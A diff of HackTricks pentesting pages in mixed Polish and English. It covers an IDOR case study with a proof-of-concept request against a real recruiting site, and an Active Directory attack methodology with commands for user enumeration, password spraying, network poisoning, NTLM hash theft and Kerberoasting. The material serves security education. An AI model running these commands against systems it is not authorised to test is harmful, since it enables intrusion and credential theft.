-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Po zidentyfikowaniu prawidłowych nazw użytkowników, zażądaj konkretnych plików bezpośrednio (np. `/view.php?username=amanda&file=privacy.odt`). Ten wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników oraz wycieku poświadczeń.
---
## 2. Real-World Case Study – McHire Chatbot Platform (2025)
Podczas oceny portalu rekrutacyjnego Paradox.ai-powered **McHire** odkryto następujący IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Autoryzacja: cookie sesji użytkownika dla **dowolnego** konta testowego restauracji
* Parametr ciała: `{"lead_id": N}` – 8-cyfrowy, **sekwencyjny** identyfikator numeryczny
* Authorization: ciasteczko sesji użytkownika dla **dowolnego** konta testowego restauracji
* Body parameter: `{"lead_id": N}` – 8-cyfrowy, **sekwencyjny** identyfikator numeryczny
Poprzez zmniejszenie `lead_id` tester uzyskał dostęp do pełnych danych osobowych **wszystkich** aplikantów (imię, e-mail, telefon, adres, preferencje zmian) oraz konsumenckiego **JWT**, który umożliwiał przejęcie sesji. Wykonanie enumeracji w zakresie `1 – 64,185,742` ujawniło około **64 milionów** rekordów.
Zmniejszając `lead_id`, tester pobrał dowolnych kandydatów **pełne PII** (imię i nazwisko, e-mail, telefon, adres, preferencje zmian) oraz konsumencki **JWT**, który umożliwił przejęcie sesji. Enumeracja zakresu `1 – 64,185,742` ujawniła około **64 million** rekordów.
Żądanie dowodu koncepcji:
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Połączone z **domyślnymi danymi logowania administratora** (`123456:123456`), które umożliwiły dostęp do konta testowego, luka ta doprowadziła do krytycznego naruszenia danych w całej firmie.
W połączeniu z domyślnymi danymi administratora (`123456:123456`), które zapewniały dostęp do konta testowego, podatność doprowadziła do krytycznego wycieku danych obejmującego całą firmę.
---
## 3. Wpływ IDOR / BOLA
* Eskalacja pozioma – odczyt/aktualizacja/usunięcie danych **innych użytkowników**.
* Eskalacja pionowa – użytkownik o niskich uprawnieniach zyskuje funkcjonalność tylko dla administratorów.
* Masowe naruszenie danych, jeśli identyfikatory są sekwencyjne (np. identyfikatory wnioskodawców, faktury).
* Eskalacja pozioma – odczyt/modyfikacja/usunięcie danych **innych użytkowników**.
* Eskalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla administratorów.
* Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury).
* Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników.
---
## 4. Środki zaradcze i najlepsze praktyki
1. **Wymuszaj autoryzację na poziomie obiektów** dla każdego żądania (`user_id == session.user`).
2. Preferuj **pośrednie, nieprzewidywalne identyfikatory** (UUIDv4, ULID) zamiast identyfikatorów autoinkrementacyjnych.
3. Wykonuj autoryzację **po stronie serwera**, nigdy nie polegaj na ukrytych polach formularzy lub kontrolkach UI.
4. Wdrażaj kontrole **RBAC / ABAC** w centralnym middleware.
5. Dodaj **ograniczenia szybkości i logowanie** w celu wykrywania enumeracji identyfikatorów.
6. Testuj bezpieczeństwo każdego nowego punktu końcowego (jednostkowo, integracyjnie i DAST).
1. **Enforce object-level authorization** on every request (`user_id == session.user`).
2. Preferuj **indirect, unguessable identifiers** (UUIDv4, ULID) zamiast autoinkrementujących ID.
3. Wykonuj autoryzację **server-side**, nigdy nie polegaj na ukrytych polach formularzy ani kontrolkach UI.
4. Zaimplementuj **RBAC / ABAC** checks w centralnym middleware.
5. Dodaj **rate-limiting & logging** aby wykrywać enumerację identyfikatorów.
6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST).
---
## 5. Narzędzia
* **Rozszerzenia BurpSuite**: Authorize, Auto Repeater, Turbo Intruder.
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Projekty Github**: `bwapp-idor-scanner`, `Blindy` (masowe polowanie na IDOR).
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Odniesienia
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
## Źródła
* [Platforma McHire Chatbot: domyślne dane logowania i IDOR ujawniają dane osobowe 64 mln kandydatów](https://ian.sh/mcdonalds)
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [Jak znaleźć więcej IDORów – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → kradzież plików](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

376
src/windows-hardening/active-directory-methodology/README.md
View File

@ -2,57 +2,57 @@
{{#include ../../banners/hacktricks-training.md}}
## Podstawowy przegląd
## Basic overview
**Active Directory** pełni rolę technologii bazowej, umożliwiając **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Został zaprojektowany z myślą o skalowalności, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, przy jednoczesnej kontroli **praw dostępu** na różnych poziomach.
**Active Directory** służy jako podstawowa technologia, umożliwiająca **administratorom sieci** efektywne tworzenie i zarządzanie **domenami**, **użytkownikami** i **obiektami** w sieci. Został zaprojektowany tak, aby skalować się, ułatwiając organizację dużej liczby użytkowników w zarządzalne **grupy** i **podgrupy**, jednocześnie kontrolując **prawa dostępu** na różnych poziomach.
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, korzystających ze wspólnej bazy danych. **Drzewa** to grupy tych domen powiązane wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych poprzez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Konkretne **prawa dostępu** i **komunikacji** można określić na każdym z tych poziomów.
Struktura **Active Directory** składa się z trzech głównych warstw: **domen**, **drzew** i **lasów**. **Domena** obejmuje zbiór obiektów, takich jak **użytkownicy** lub **urządzenia**, które dzielą wspólną bazę danych. **Drzewa** to grupy takich domen powiązane wspólną strukturą, a **las** reprezentuje zbiór wielu drzew, połączonych przez **relacje zaufania**, tworząc najwyższą warstwę struktury organizacyjnej. Specyficzne **prawa dostępu** i **komunikacji** mogą być przydzielane na każdym z tych poziomów.
Kluczowe pojęcia w ramach **Active Directory** to:
Kluczowe pojęcia w **Active Directory** obejmują:
1. **Katalog** – Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
2. **Obiekt** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
3. **Domena** – Służy jako kontener dla obiektów katalogu; w ramach **lasu** może istnieć wiele domen, z każdą utrzymującą własny zbiór obiektów.
4. **Drzewo** – Grupa domen, które dzielą wspólną domenę główną.
5. **Las** – Najwyższa warstwa struktury organizacyjnej w Active Directory, składająca się z kilku drzew połączonych **relacjami zaufania**.
1. **Directory** – Przechowuje wszystkie informacje dotyczące obiektów Active Directory.
2. **Object** – Oznacza byty w katalogu, w tym **użytkowników**, **grupy** lub **udostępnione foldery**.
3. **Domain** – Służy jako kontener dla obiektów katalogu; w **lesie** może współistnieć wiele domen, z każdą utrzymującą własny zbiór obiektów.
4. **Tree** – Grupa domen dzielących wspólną domenę root.
5. **Forest** – Szczytowa struktura organizacyjna w Active Directory, składająca się z kilku drzew z **relacjami zaufania** między nimi.
**Active Directory Domain Services (AD DS)** obejmuje szereg usług kluczowych dla scentralizowanego zarządzania i komunikacji w sieci. Usługi te obejmują:
1. **Domain Services** – Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym funkcjami **uwierzytelniania** i wyszukiwania.
1. **Domain Services** – Centralizuje przechowywanie danych i zarządza interakcjami między **użytkownikami** a **domenami**, w tym **uwierzytelnianiem** i funkcjami **wyszukiwania**.
2. **Certificate Services** – Nadzoruje tworzenie, dystrybucję i zarządzanie bezpiecznymi **certyfikatami cyfrowymi**.
3. **Lightweight Directory Services** – Wspiera aplikacje wykorzystujące katalogi przez protokół **LDAP**.
4. **Directory Federation Services** – Zapewnia funkcje **single-sign-on** umożliwiające uwierzytelnianie użytkowników w wielu aplikacjach webowych w jednej sesji.
5. **Rights Management** – Pomaga w ochronie materiałów objętych prawem autorskim przez regulowanie ich nieautoryzowanej dystrybucji i użycia.
6. **DNS Service** – Kluczowe dla rozwiązywania **nazw domen**.
3. **Lightweight Directory Services** – Wspiera aplikacje wykorzystujące katalog poprzez **LDAP protocol**.
4. **Directory Federation Services** – Zapewnia funkcje **single-sign-on** do uwierzytelniania użytkowników w wielu aplikacjach webowych w jednej sesji.
5. **Rights Management** – Pomaga chronić materiały objęte prawem autorskim poprzez regulowanie ich nieautoryzowanej dystrybucji i użycia.
6. **DNS Service** – Kluczowy dla rozwiązywania **nazw domen**.
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
Aby dowiedzieć się, jak **atakować AD**, musisz bardzo dobrze **zrozumieć** proces uwierzytelniania **Kerberos**.\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
Aby nauczyć się, jak **atakować AD**, musisz naprawdę dobrze **zrozumieć proces uwierzytelniania Kerberos**.\
[**Przeczytaj tę stronę, jeśli nadal nie wiesz, jak to działa.**](kerberos-authentication.md)
## Skrócony przewodnik
## Cheat Sheet
Możesz zajrzeć na [https://wadcoms.github.io/](https://wadcoms.github.io) aby szybko zobaczyć, które polecenia możesz uruchomić, by enumerować/eksploatować AD.
Możesz zajrzeć na [https://wadcoms.github.io/](https://wadcoms.github.io), żeby szybko zobaczyć, które polecenia możesz uruchomić, aby enumerować/eksploitować AD.
> [!WARNING]
> Komunikacja Kerberos **wymaga pełnej nazwy kwalifikowanej (FQDN)** do wykonywania działań. Jeśli spróbujesz uzyskać dostęp do maszyny przez adres IP, **zostanie używany NTLM, a nie Kerberos**.
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
## Recon Active Directory (No creds/sessions)
If you just have access to an AD environment but you don't have any credentials/sessions you could:
- **Pentest the network:**
- Skanuj sieć, znajdź maszyny i otwarte porty i spróbuj **wykorzystać luki** lub **wyciągnąć poświadczenia** z nich (for example, [printers could be very interesting targets](ad-information-in-printers.md).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak serwery WWW, drukarki, udziały, VPN, multimedia itd.
- Skanuj sieć, znajdź maszyny i otwarte porty oraz spróbuj **eksploitować luki** lub **wyciągnąć poświadczenia** z nich (na przykład, [drukarki mogą być bardzo interesującymi celami](ad-information-in-printers.md)).
- Enumeracja DNS może dostarczyć informacji o kluczowych serwerach w domenie, takich jak web, drukarki, udziały, vpn, media itp.
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Sprawdź ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji o tym, jak to robić.
- **Check for null and Guest access on smb services** (this won't work on modern Windows versions):
- Zerknij na ogólną [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), aby znaleźć więcej informacji o tym, jak to robić.
- **Sprawdź dostęp null i Guest na usługach smb** (to nie zadziała na nowoczesnych wersjach Windows):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- A more detailed guide on how to enumerate a SMB server can be found here:
- Bardziej szczegółowy przewodnik po enumeracji serwera SMB można znaleźć tutaj:
{{#ref}}
@ -61,7 +61,7 @@ If you just have access to an AD environment but you don't have any credentials/
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- A more detailed guide on how to enumerate LDAP can be found here (pay **special attention to the anonymous access**):
- Bardziej szczegółowy przewodnik po enumeracji LDAP można znaleźć tutaj (zwróć **szczególną uwagę na dostęp anonimowy**):
{{#ref}}
@ -69,21 +69,21 @@ If you just have access to an AD environment but you don't have any credentials/
{{#endref}}
- **Poison the network**
- Zbieraj poświadczenia [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia, **wystawiając** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- Zbieraj poświadczenia, **podszywając się pod usługi za pomocą Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Uzyskaj dostęp do hosta przez [**nadużycie relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Zbieraj poświadczenia, **eksponując fałszywe usługi UPnP za pomocą evil-S** (../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Wydobądź nazwy użytkowników/imię i nazwisko z wewnętrznych dokumentów, mediów społecznościowych, serwisów (głównie webowych) wewnątrz środowisk domenowych oraz z zasobów publicznie dostępnych.
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz spróbować różnych konwencji nazewnictwa użytkowników AD (**username conventions** ([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/))). Najczęstsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3letters of each), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
- Wyodrębnij nazwy użytkowników/imię i nazwiska z dokumentów wewnętrznych, social media, usług (głównie web) w środowisku domenowym i także z dostępnych publicznie źródeł.
- Jeśli znajdziesz pełne imiona i nazwiska pracowników firmy, możesz spróbować różnych konwencji nazw użytkowników AD (**przeczytaj to**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Najczęstsze konwencje to: _NameSurname_, _Name.Surname_, _NamSur_ (3 litery z każdego), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _losowe litery i 3 losowe cyfry_ (abc123).
- Narzędzia:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### Enumeracja użytkowników
### User enumeration
- **Anonymous SMB/LDAP enum:** Sprawdź strony [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) oraz [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum**: Gdy zostanie zażądana **nieprawidłowa nazwa użytkownika**, serwer odpowie kodem błędu Kerberos _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** spowodują otrzymanie albo **TGT w odpowiedzi AS-REP**, albo błędu _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazując, że użytkownik musi wykonać pre-autoryzację.
- **No Authentication against MS-NRPC**: Używając auth-level = 1 (No authentication) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po związaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje tego typu enumerację. The research can be found [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
- **Kerbrute enum**: Gdy żądany jest **nieprawidłowy username**, serwer odpowie używając **błędu Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, co pozwala nam stwierdzić, że nazwa użytkownika była nieprawidłowa. **Prawidłowe nazwy użytkowników** spowodują albo otrzymanie **TGT w odpowiedzi AS-REP**, albo błąd _KRB5KDC_ERR_PREAUTH_REQUIRED_, wskazujący, że użytkownik musi wykonać pre-authentication.
- **No Authentication against MS-NRPC**: Użycie auth-level = 1 (No authentication) przeciwko interfejsowi MS-NRPC (Netlogon) na kontrolerach domeny. Metoda wywołuje funkcję `DsrGetDcNameEx2` po związaniu interfejsu MS-NRPC, aby sprawdzić, czy użytkownik lub komputer istnieje bez jakichkolwiek poświadczeń. Narzędzie [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implementuje ten typ enumeracji. Badania można znaleźć [tutaj](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -95,9 +95,9 @@ msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
```
- **OWA (Outlook Web Access) serwer**
- **OWA (Outlook Web Access) Server**
Jeśli natrafisz na taki serwer w sieci, możesz również przeprowadzić **enumerację użytkowników** wobec niego. Na przykład możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
Jeśli znajdziesz jeden z tych serwerów w sieci, możesz również przeprowadzić **user enumeration against it**. Na przykład możesz użyć narzędzia [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -110,17 +110,18 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> Możesz znaleźć listy nazw użytkowników w [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) oraz w tym repo ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
>
> Jednak powinieneś mieć **imiona osób pracujących w firmie** z etapu recon, który powinieneś wykonać wcześniej. Mając imię i nazwisko możesz użyć skryptu [**namemash.py**](https://gist.github.com/superkojiman/11076951) do wygenerowania potencjalnych poprawnych nazw użytkowników.
> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
### Knowing one or several usernames
OK, więc wiesz, że masz już prawidłową nazwę użytkownika, ale nie masz haseł... Spróbuj wtedy:
Ok, so you know you have already a valid username but no passwords... Then try:
- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
- [**ASREPRoast**](asreproast.md): Jeśli użytkownik **nie ma** atrybutu _DONT_REQ_PREAUTH_ możesz **zażądać komunikatu AS_REP** dla tego użytkownika, który będzie zawierał dane zaszyfrowane pochodną hasła użytkownika.
- [**Password Spraying**](password-spraying.md): Wypróbuj najbardziej **popularne hasła** dla każdego z odkrytych użytkowników — być może ktoś używa słabego hasła (pamiętaj o polityce haseł!).
- Zwróć uwagę, że możesz też **spray OWA servers**, aby spróbować uzyskać dostęp do serwerów pocztowych użytkowników.
{{#ref}}
password-spraying.md
@ -128,7 +129,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
Możesz być w stanie uzyskać niektóre challenge **hashes**, które można złamać, przeprowadzając **poisoning** wybranych protokołów **network**:
You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
{{#ref}}
@ -137,57 +138,58 @@ Możesz być w stanie uzyskać niektóre challenge **hashes**, które można zł
### NTLM Relay
Jeśli udało ci się zenumerować Active Directory, będziesz mieć **więcej adresów e-mail i lepsze zrozumienie sieci**. Możesz być w stanie wymusić NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) aby uzyskać dostęp do środowiska AD.
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
### Steal NTLM Creds
Jeśli możesz uzyskać dostęp do innych komputerów lub udziałów przy użyciu użytkownika **null** lub **guest**, możesz umieścić pliki (np. plik SCF), które po otwarciu wywołają **NTLM authentication against you**, dzięki czemu możesz **steal** **NTLM challenge** do złamania:
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Enumeracja Active Directory Z poświadczeniami/sesją
## Enumerating Active Directory WITH credentials/session
Na tym etapie musisz mieć **skompr0miotowane poświadczenia lub sesję prawidłowego konta domenowego.** Jeśli masz jakieś ważne poświadczenia lub shell jako użytkownik domenowy, **pamiętaj, że opcje podane wcześniej nadal są sposobami na kompromitację innych użytkowników**.
For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
Zanim rozpoczniesz uwierzytelnioną enumerację, powinieneś wiedzieć, czym jest **Kerberos double hop problem.**
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
{{#ref}}
kerberos-double-hop-problem.md
{{#endref}}
### Enumeracja
### Enumeration
Posiadanie skompromitowanego konta to **duży krok do rozpoczęcia kompromitacji całej domeny**, ponieważ będziesz mógł rozpocząć **Active Directory Enumeration:**
Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
Jeśli chodzi o [**ASREPRoast**](asreproast.md), możesz teraz znaleźć każdego możliwego podatnego użytkownika, a jeśli chodzi o [**Password Spraying**](password-spraying.md), możesz uzyskać **listę wszystkich nazw użytkowników** i spróbować hasła skompromitowanego konta, pustych haseł oraz nowych obiecujących haseł.
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
- Możesz użyć [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- Możesz także użyć [**powershell for recon**](../basic-powershell-for-pentesters/index.html), co będzie bardziej stealthy
- Możesz też [**use powerview**](../basic-powershell-for-pentesters/powerview.md) do wydobycia bardziej szczegółowych informacji
- Innym świetnym narzędziem do recon w Active Directory jest [**BloodHound**](bloodhound.md). Nie jest ono **zbyt stealthy** (zależnie od metod kolekcji, których użyjesz), ale **jeśli ci na tym nie zależy**, zdecydowanie warto spróbować. Znajdź, gdzie użytkownicy mogą RDP, znajdź ścieżki do innych grup itp.
- **Inne zautomatyzowane narzędzia do enumeracji AD to:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md), ponieważ mogą zawierać interesujące informacje.
- Narzędzie z GUI, którego możesz użyć do enumeracji katalogu, to **AdExplorer.exe** z pakietu **SysInternal**.
- Możesz też przeszukać bazę LDAP za pomocą **ldapsearch**, szukając poświadczeń w polach _userPassword_ & _unixUserPassword_, albo nawet w _Description_. por. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) dla innych metod.
- Jeśli używasz **Linux**, możesz także zenumerować domenę używając [**pywerview**](https://github.com/the-useless-one/pywerview).
- Możesz też wypróbować zautomatyzowane narzędzia takie jak:
- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
- You could also try automated tools as:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Wyodrębnianie wszystkich użytkowników domeny**
- **Extracting all domain users**
Bardzo łatwo jest uzyskać wszystkie nazwy użytkowników domeny z Windows (`net user /domain` ,`Get-DomainUser` lub `wmic useraccount get name,sid`). W Linux można użyć: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` lub `enum4linux -a -u "user" -p "password" <DC IP>`
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
> Nawet jeśli sekcja Enumeracja wygląda krótko, to jest to najważniejsza część. Odwiedź linki (głównie te dotyczące cmd, powershell, powerview i BloodHound), naucz się, jak enumerować domenę i ćwicz, aż poczujesz się pewnie. Podczas testu bezpieczeństwa będzie to kluczowy moment, by znaleźć drogę do DA lub zdecydować, że nic więcej nie da się zrobić.
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
### Kerberoast
Kerberoasting polega na uzyskaniu **TGS tickets** używanych przez usługi powiązane z kontami użytkowników i złamaniu ich szyfrowania — opartego na hasłach użytkowników — **offline**.
Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
More about this in:
Więcej na ten temat:
{{#ref}}
kerberoast.md
@ -195,17 +197,17 @@ kerberoast.md
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Gdy zdobędziesz poświadczenia, możesz sprawdzić, czy masz dostęp do jakiejkolwiek **maszyny**. W tym celu możesz użyć **CrackMapExec**, aby próbować łączyć się z wieloma serwerami, używając różnych protokołów, zgodnie z wynikami skanów portów.
Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
### Lokalna eskalacja uprawnień
### Local Privilege Escalation
Jeśli skompromitowałeś poświadczenia lub sesję jako zwykły użytkownik domenowy i masz z tym użytkownikiem **dostęp** do **dowolnej maszyny w domenie**, powinieneś spróbować znaleźć sposób na **escalate privileges locally and looting for credentials**. Tylko z uprawnieniami lokalnego administratora będziesz mógł **dump hashes of other users** z pamięci (LSASS) i lokalnie (SAM).
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
